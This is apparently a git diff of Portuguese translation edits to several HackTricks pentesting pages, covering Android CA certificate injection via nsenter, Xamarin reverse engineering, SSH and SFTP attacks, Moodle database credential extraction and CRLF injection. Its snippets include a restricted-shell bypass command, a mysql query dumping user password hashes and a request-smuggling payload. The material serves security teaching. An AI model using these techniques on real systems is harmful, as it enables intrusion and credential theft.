* Porque a montagem `/apex` é [explicitamente montada](https://cs.android.com/android/platform/superproject/main/+/main:system/core/init/mount\_namespace.cpp;l=97;drc=566c65239f1cf3fcb0d8745715e5ef1083d4bd3a) **com propagação PRIVADA**, para que todas as alterações nas montagens dentro do caminho `/apex` nunca sejam compartilhadas entre processos.
|
||||
|
||||
Isso é feito pelo processo `init`, que inicia o sistema operacional, que então inicia o [processo Zygote](https://en.wikipedia.org/wiki/Booting\_process\_of\_Android\_devices#Zygote) (com um novo namespace de montagem copiado do pai, incluindo sua própria montagem privada `/apex`), que por sua vez inicia cada processo de aplicativo sempre que um aplicativo é iniciado no dispositivo (que por sua vez copia a mesma montagem privada `/apex`).
|
||||
Isso é feito pelo processo `init`, que inicia o sistema operacional, que então inicia o [processo Zygote](https://en.wikipedia.org/wiki/Booting\_process\_of\_Android\_devices#Zygote) (com um novo namespace de montagem copiado do pai, incluindo sua própria montagem privada `/apex`), que por sua vez inicia cada processo de aplicativo sempre que um aplicativo é lançado no dispositivo (que por sua vez copia a mesma montagem privada `/apex`).
|
||||
|
||||
### Remontando recursivamente os pontos de montagem
|
||||
|
||||
|
@ -142,30 +142,30 @@ wait # Launched in parallel - wait for completion here
|
|||
|
||||
echo "System certificate injected"
|
||||
```
|
||||
### Bind-mounting através do NSEnter
|
||||
### Montagem de bind através do NSEnter
|
||||
|
||||
* Primeiro, precisamos configurar um diretório gravável em algum lugar. Para facilitar a compatibilidade com a abordagem existente, estou fazendo isso com uma montagem `tmpfs` sobre o diretório de certificados do sistema não-APEX (ainda presente):
|
||||
* Primeiro, precisamos configurar um diretório gravável em algum lugar. Para facilitar a compatibilidade com a abordagem existente, estou fazendo isso com uma montagem `tmpfs` sobre o diretório de certificados do sistema não-APEX (ainda presente):
|
||||
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
* Em seguida, coloque os certificados CA de interesse neste diretório (por exemplo, você pode querer copiar todos os padrões do diretório de certificados CA `/apex/com.android.conscrypt/cacerts/` existente) e defina as permissões e rótulos SELinux apropriadamente.
|
||||
* Em seguida, use `nsenter` para entrar no namespace de montagem do Zygote e faça um bind mount deste diretório sobre o diretório APEX:
|
||||
* Em seguida, use `nsenter` para entrar no namespace de montagem do Zygote e monte este diretório sobre o diretório APEX:
|
||||
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- \
|
||||
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
|
||||
O processo Zygote inicia cada aplicativo, copiando seu namespace de montagem para fazer isso, então isso garante que todos os aplicativos recém-iniciados (tudo iniciado a partir de agora) usarão isso.
|
||||
* Em seguida, use `nsenter` para entrar no namespace de cada aplicativo já em execução e faça o mesmo:
|
||||
O processo Zygote inicia cada aplicativo, copiando seu namespace de montagem para fazer isso, garantindo que todos os aplicativos recém-iniciados (tudo iniciado a partir de agora) usem isso.
|
||||
* Em seguida, use `nsenter` para entrar no namespace de cada aplicativo já em execução e faça o mesmo:
|
||||
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- \
|
||||
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
|
||||
Alternativamente, se você não se importar com a experiência do usuário desajeitada, você deve ser capaz de fazer o bind mount no `init` em si (PID 1) e depois executar `stop && start` para reiniciar suavemente o sistema operacional, recriando todos os namespaces e propagando suas alterações em todos os lugares (mas pessoalmente eu me importo com a reinicialização desajeitada, então estou ignorando completamente essa rota).
|
||||
Alternativamente, se você não se importar com a experiência do usuário desajeitada, você deve ser capaz de fazer a montagem de bind no `init` em si (PID 1) e, em seguida, executar `stop && start` para reiniciar suavemente o sistema operacional, recriando todos os namespaces e propagando suas alterações em todos os lugares (mas pessoalmente eu me importo com a reinicialização desajeitada, então estou ignorando completamente essa rota).
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -175,6 +175,6 @@ Alternativamente, se você não se importar com a experiência do usuário desaj
|
|||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -28,19 +28,19 @@ Ambos esses ambientes são executados em cima do kernel Linux e invocam várias
|
|||
|
||||
### Projeto Xamarin iOS
|
||||
|
||||
As aplicações Xamarin.iOS são executadas sob o ambiente de execução Mono e usam a compilação completa Ahead of Time (AOT) para compilar códigos C# .NET para a linguagem de montagem ARM.
|
||||
As aplicações Xamarin.iOS são executadas sob o ambiente de execução Mono e usam a compilação Ahead of Time (AOT) completa para compilar códigos .NET C# para a linguagem de montagem ARM.
|
||||
|
||||
Ele é executado junto com o Objective-C Runtime. Os ambientes de execução são executados em cima de um kernel semelhante ao UNIX e invocam várias APIs para o código do usuário, o que permite que os desenvolvedores acessem o sistema gerenciado ou nativo subjacente.
|
||||
|
||||
O diagrama abaixo representa essa arquitetura:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### O que é .Net Runtime e Mono Framework?
|
||||
### O que é o .Net Runtime e o Mono Framework?
|
||||
|
||||
**.Net framework é um conjunto de assemblies, classes e namespaces** que os desenvolvedores podem usar para criar aplicativos; o .Net Runtime executa o código compilado, e o processo é chamado de execução de código gerenciado. O .NET Runtime oferece várias funcionalidades que garantem a independência de plataforma e são compatíveis com versões mais antigas do framework.
|
||||
**O framework .Net é um conjunto de assemblies, classes e namespaces** que os desenvolvedores podem usar para criar aplicativos; o .Net Runtime executa o código compilado, e o processo é chamado de execução de código gerenciado. O .NET Runtime oferece várias funcionalidades que garantem a independência de plataforma e são compatíveis com versões mais antigas do framework.
|
||||
|
||||
**Mono Framework** foi iniciado em 2005 como uma implementação do .NET Framework para Linux (Ximian/SuSe/Novell). Patrocinado pela Microsoft e liderado pela Xamarin, o Mono é a implementação de código aberto do framework .NET com base nos padrões ECMA para Common Language Runtime e C#.
|
||||
**O Mono Framework** foi iniciado em 2005 como uma implementação do .NET Framework para Linux (Ximian/SuSe/Novell). Patrocinado pela Microsoft e liderado pela Xamarin, o Mono é a implementação de código aberto do framework .NET com base nos padrões ECMA para Common Language Runtime e C#.
|
||||
|
||||
## Técnicas de Engenharia Reversa para Aplicativos Xamarin
|
||||
|
||||
|
@ -56,18 +56,18 @@ O **Visual Studio** descompila o código gerenciado, mesmo na ausência de símb
|
|||
|
||||
Existem duas opções para compilar código Xamarin baseado em C# em um aplicativo, ou seja, **compilação just-in-time e compilação ahead-of-time**. A forma de compilação afeta como o código do aplicativo é enviado dentro do arquivo apk ou ipa. Vamos dar uma olhada rápida nisso abaixo:
|
||||
|
||||
\- **Android**: O Xamarin permite que você compile usando **as opções JIT e AOT para Android**. Também há uma maneira de obter a maior velocidade de execução usando o modo híbrido AOT. Observe que o modo AOT completo está disponível apenas para a licença Enterprise.
|
||||
\- **Android**: O Xamarin permite que você compile usando **as opções JIT e AOT para Android**. Também há uma maneira de obter a maior velocidade de execução usando o modo Hybrid AOT. Observe que o modo Full AOT está disponível apenas para a licença Enterprise.
|
||||
|
||||
\- **iOS**: Existe apenas uma opção no caso do iOS, **compilação ahead-of-time**. Isso ocorre devido às políticas da Apple, que proíbem a execução de código gerado dinamicamente em um dispositivo.
|
||||
|
||||
{% hint style="info" %}
|
||||
Se você encontrar um aplicativo compilado com AOT completo e se os arquivos de assembly IL forem removidos para reduzir o tamanho da compilação pelo desenvolvedor, a reversão exigirá uma etapa adicional de extração dos arquivos dll dos arquivos .dll.so da pasta lib ou do arquivo `libmonodroid_bundle_app.so`. Se for um aplicativo compilado com AOT híbrido e os arquivos IL ainda estiverem presentes no pacote do aplicativo, podemos usá-los para engenharia reversa do aplicativo.
|
||||
Se você encontrar um aplicativo compilado com Full AOT e se os arquivos de assembly IL forem removidos para reduzir o tamanho da compilação pelo desenvolvedor, a engenharia reversa exigirá uma etapa adicional de extração dos arquivos dll dos arquivos .dll.so da pasta lib ou do arquivo `libmonodroid_bundle_app.so`. Se for um aplicativo compilado com Hybrid AOT e os arquivos IL ainda estiverem presentes no pacote do aplicativo, podemos usá-los para engenharia reversa do aplicativo.
|
||||
{% endhint %}
|
||||
## Obtendo os arquivos dll do APK/IPA
|
||||
|
||||
Basta **descompactar o arquivo apk/ipa** e copiar todos os arquivos presentes no diretório assemblies:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
No caso dos APKs do Android, **esses arquivos dll estão comprimidos** e não podem ser diretamente usados para descompilação. Felizmente, existem ferramentas disponíveis que podemos usar para **descomprimir esses arquivos dll** como [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) e [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress).
|
||||
```
|
||||
|
@ -79,7 +79,7 @@ pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
|||
```
|
||||
No caso do iOS, **os arquivos DLL dentro dos arquivos IPA podem ser carregados diretamente** em um descompilador (não é necessário descompactar nada).
|
||||
|
||||
**A maioria do código do aplicativo pode ser encontrado ao descompilar os arquivos DLL**. Além disso, observe que os aplicativos baseados no Xamarin Framework contêm 90% do código comum nas compilações de todas as plataformas, como iOS e Android, etc.
|
||||
**A maioria do código do aplicativo pode ser encontrado ao descompilar os arquivos DLL**. Além disso, observe que os aplicativos baseados no Framework Xamarin contêm 90% do código comum nas compilações de todas as plataformas, como iOS e Android, etc.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -22,7 +22,7 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
|
|||
|
||||
Você pode aprender mais sobre o RabbitMQ em [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\
|
||||
Nesta porta, você pode encontrar o console web do RabbitMQ Management se o [plugin de gerenciamento](https://www.rabbitmq.com/management.html) estiver habilitado.\
|
||||
A página principal deve parecer assim:
|
||||
A página principal deve se parecer com isso:
|
||||
|
||||
![](<../.gitbook/assets/image (270).png>)
|
||||
|
||||
|
@ -56,7 +56,7 @@ Content-Length: 267
|
|||
|
||||
* `port:15672 http`
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -66,7 +66,7 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -184,7 +184,7 @@ Para capturar e realizar o MitM real, você pode usar técnicas como ARP spoofin
|
|||
|
||||
### Login de root
|
||||
|
||||
Por padrão, a maioria das implementações de servidor SSH permitirá o login de root. É aconselhável desativá-lo, porque se as credenciais dessa conta vazarem, os invasores obterão privilégios administrativos diretamente e isso também permitirá que os invasores realizem ataques de força bruta nessa conta.
|
||||
Por padrão, a maioria das implementações de servidor SSH permitirá o login de root. É aconselhável desativá-lo, porque se as credenciais dessa conta vazarem, os invasores obterão privilégios administrativos diretamente e isso também permitirá que os invasores conduzam ataques de força bruta nessa conta.
|
||||
|
||||
**Como desativar o login de root para o openSSH:**
|
||||
|
||||
|
@ -195,7 +195,7 @@ Por padrão, a maioria das implementações de servidor SSH permitirá o login d
|
|||
|
||||
### Execução de comandos SFTP
|
||||
|
||||
Outra configuração incorreta comum do SSH é frequentemente vista na configuração do SFTP. Na maioria das vezes, ao criar um servidor SFTP, o administrador deseja que os usuários tenham acesso SFTP para compartilhar arquivos, mas não para obter um shell remoto na máquina. Portanto, eles pensam que criar um usuário, atribuir a ele um shell reservado (como `/usr/bin/nologin` ou `/usr/bin/false`) e restringi-lo em uma prisão é suficiente para evitar o acesso ou abuso de shell em todo o sistema de arquivos. Mas eles estão errados, **um usuário pode solicitar a execução de um comando logo após a autenticação antes que seu comando ou shell padrão seja executado**. Portanto, para contornar o shell reservado que negará o acesso ao shell, basta solicitar a execução de um comando (por exemplo, `/bin/bash`) antes, apenas fazendo:
|
||||
Outra configuração incorreta comum do SSH é frequentemente vista na configuração do SFTP. Na maioria das vezes, ao criar um servidor SFTP, o administrador deseja que os usuários tenham acesso SFTP para compartilhar arquivos, mas não para obter um shell remoto na máquina. Portanto, eles pensam que criar um usuário, atribuir a ele um shell reservado (como `/usr/bin/nologin` ou `/usr/bin/false`) e restringi-lo em uma prisão é suficiente para evitar o acesso ou abuso de shell em todo o sistema de arquivos. Mas eles estão errados, **um usuário pode solicitar a execução de um comando logo após a autenticação antes que seu comando ou shell padrão seja executado**. Portanto, para ignorar o shell reservado que negará o acesso ao shell, basta solicitar a execução de um comando (por exemplo, `/bin/bash`) antes, apenas fazendo:
|
||||
```
|
||||
$ ssh -v noraj@192.168.1.94 id
|
||||
...
|
||||
|
@ -254,9 +254,9 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
|
|||
```
|
||||
### SFTP Symlink
|
||||
|
||||
O **sftp** possui o comando "**symlink**". Portanto, se você tiver **direitos de gravação** em alguma pasta, você pode criar **links simbólicos** de **outras pastas/arquivos**. Como você provavelmente está **preso** dentro de um chroot, isso **não será especialmente útil** para você, mas se você puder **acessar** o **link simbólico** criado a partir de um **serviço sem chroot** (por exemplo, se você puder acessar o link simbólico pela web), você poderá **abrir os arquivos linkados através da web**.
|
||||
O **sftp** possui o comando "**symlink**". Portanto, se você tiver **direitos de gravação** em alguma pasta, você pode criar **symlinks** de **outras pastas/arquivos**. Como você provavelmente está **preso** dentro de um chroot, isso **não será especialmente útil** para você, mas se você puder **acessar** o **symlink** criado a partir de um **serviço sem chroot** (por exemplo, se você puder acessar o symlink pela web), você poderia **abrir os arquivos symlinked através da web**.
|
||||
|
||||
Por exemplo, para criar um **link simbólico** de um novo arquivo **"**_**froot**_**" para "**_**/**_**"**:
|
||||
Por exemplo, para criar um **symlink** de um novo arquivo **"**_**froot**_**" para "**_**/**_**"**:
|
||||
```
|
||||
sftp> symlink / froot
|
||||
```
|
||||
|
@ -264,7 +264,7 @@ Se você conseguir acessar o arquivo "_froot_" via web, poderá listar a pasta r
|
|||
|
||||
### Métodos de autenticação
|
||||
|
||||
Em ambientes de alta segurança, é comum habilitar apenas autenticação baseada em chave ou autenticação de dois fatores em vez da autenticação simples baseada em senha. No entanto, muitas vezes os métodos de autenticação mais fortes são habilitados sem desabilitar os mais fracos. Um caso frequente é habilitar `publickey` na configuração do openSSH e defini-lo como o método padrão, mas não desabilitar `password`. Portanto, usando o modo verbose do cliente SSH, um atacante pode ver que um método mais fraco está habilitado:
|
||||
Em ambientes de alta segurança, é comum habilitar apenas autenticação baseada em chave ou autenticação de dois fatores em vez da autenticação simples baseada em senha. No entanto, muitas vezes os métodos de autenticação mais fortes são habilitados sem desabilitar os mais fracos. Um caso frequente é habilitar `publickey` na configuração do openSSH e defini-lo como o método padrão, mas não desabilitar `password`. Portanto, usando o modo verbose do cliente SSH, um invasor pode ver que um método mais fraco está habilitado:
|
||||
```
|
||||
$ ssh -v 192.168.1.94
|
||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||
|
@ -298,7 +298,7 @@ id_rsa
|
|||
* Você pode encontrar guias interessantes sobre como fortalecer o SSH em [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
|
||||
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês, escrita e falada, é necessária_).
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -38,7 +38,7 @@ Você pode expor **servlets de gerenciamento** através dos seguintes caminhos d
|
|||
```
|
||||
inurl:status EJInvokerServlet
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -48,7 +48,7 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -51,9 +51,9 @@ Para usar o `moodlescan`, basta executar o comando seguido pelo URL da instalaç
|
|||
moodlescan https://example.com/moodle
|
||||
```
|
||||
|
||||
O `moodlescan` irá então iniciar a varredura e exibir os resultados na tela. É importante ressaltar que essa ferramenta deve ser usada apenas em ambientes autorizados e com permissão do proprietário do sistema. O uso indevido do `moodlescan` pode ser considerado ilegal e resultar em consequências legais.
|
||||
O `moodlescan` irá então iniciar a varredura e exibir os resultados na tela. É importante analisar cuidadosamente os resultados para identificar quaisquer vulnerabilidades encontradas e tomar as medidas necessárias para corrigi-las.
|
||||
|
||||
Em resumo, o `moodlescan` é uma ferramenta poderosa para testar a segurança de instalações do Moodle e identificar possíveis vulnerabilidades.
|
||||
É importante ressaltar que o `moodlescan` deve ser usado apenas em ambientes autorizados e com permissão do proprietário do sistema. O uso indevido dessa ferramenta pode ser considerado ilegal e resultar em consequências legais.
|
||||
```bash
|
||||
#Install from https://github.com/inc0d3/moodlescan
|
||||
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
|
||||
|
@ -120,7 +120,7 @@ Outra abordagem é realizar uma análise de tráfego usando ferramentas como o W
|
|||
|
||||
Além disso, você pode tentar explorar vulnerabilidades conhecidas no Moodle que possam expor as credenciais do banco de dados. Verifique se há versões desatualizadas ou vulnerabilidades conhecidas que possam ser exploradas para obter acesso às informações do banco de dados.
|
||||
|
||||
Uma vez que você tenha as credenciais do banco de dados, poderá usá-las para acessar diretamente o banco de dados do Moodle e realizar atividades como extração de dados, modificação de registros ou até mesmo a exclusão de informações sensíveis. No entanto, é importante lembrar que todas as atividades de teste de penetração devem ser realizadas com permissão e dentro dos limites legais.
|
||||
Uma vez que você tenha as credenciais do banco de dados, poderá usá-las para acessar diretamente o banco de dados do Moodle e realizar atividades como extração de dados, modificação de registros ou até mesmo a exclusão de informações sensíveis.
|
||||
```bash
|
||||
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
|
||||
```
|
||||
|
@ -142,7 +142,7 @@ It is important to note that extracting credentials from a database without prop
|
|||
```bash
|
||||
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -145,7 +145,7 @@ Você pode injetar cabeçalhos essenciais para garantir que o **back-end mantenh
|
|||
```
|
||||
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
||||
```
|
||||
Em seguida, **especifique uma segunda solicitação**. Aqui você tem um [**ataque clássico de injeção de solicitação**](http-request-smuggling/) com **cabeçalhos/corpo extras** adicionados pelo servidor após a injeção.\
|
||||
Em seguida, **especifique uma segunda solicitação**. Aqui você tem um [**ataque clássico** de **injeção de solicitação**](http-request-smuggling/) com **cabeçalhos/corpo extras** adicionados pelo servidor após a injeção.\
|
||||
Aqui estão duas das muitas opções para exploração entre usuários.
|
||||
|
||||
Especificar um **prefixo malicioso** para envenenar a solicitação do próximo usuário ou um cache da web:
|
||||
|
@ -182,11 +182,11 @@ Além disso, os pesquisadores também descobriram que poderiam dessincronizar as
|
|||
|
||||
## Impactos da Vulnerabilidade de Injeção de CRLF
|
||||
|
||||
O impacto das injeções de CRLF varia e inclui todos os impactos do Cross-site Scripting até a divulgação de informações. Também pode desativar certas restrições de segurança, como filtros XSS e a Política da Mesma Origem nos navegadores da vítima, deixando-os suscetíveis a ataques maliciosos.
|
||||
O impacto das injeções de CRLF varia e inclui todos os impactos do Cross-site Scripting até a divulgação de informações. Também pode desativar certas restrições de segurança, como filtros XSS e a Política da Mesma Origem nos navegadores das vítimas, deixando-as suscetíveis a ataques maliciosos.
|
||||
|
||||
### Como Prevenir Injeções de CRLF / Cabeçalhos HTTP em Aplicações Web
|
||||
|
||||
A melhor técnica de prevenção é não usar a entrada do usuário diretamente nos cabeçalhos de resposta. Se isso não for possível, você sempre deve usar uma função para codificar os caracteres especiais CRLF. Outra boa prática de segurança de aplicativos da web é atualizar sua linguagem de programação para uma versão que não permita a injeção de CR e LF dentro de funções que definem cabeçalhos HTTP.
|
||||
A melhor técnica de prevenção é não usar a entrada dos usuários diretamente nos cabeçalhos de resposta. Se isso não for possível, você sempre deve usar uma função para codificar os caracteres especiais CRLF. Outra boa prática de segurança de aplicativos da web é atualizar sua linguagem de programação para uma versão que não permita a injeção de CR e LF dentro de funções que definem cabeçalhos HTTP.
|
||||
|
||||
### CHEATSHEET
|
||||
```
|
||||
|
@ -223,7 +223,7 @@ A melhor técnica de prevenção é não usar a entrada do usuário diretamente
|
|||
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
|
||||
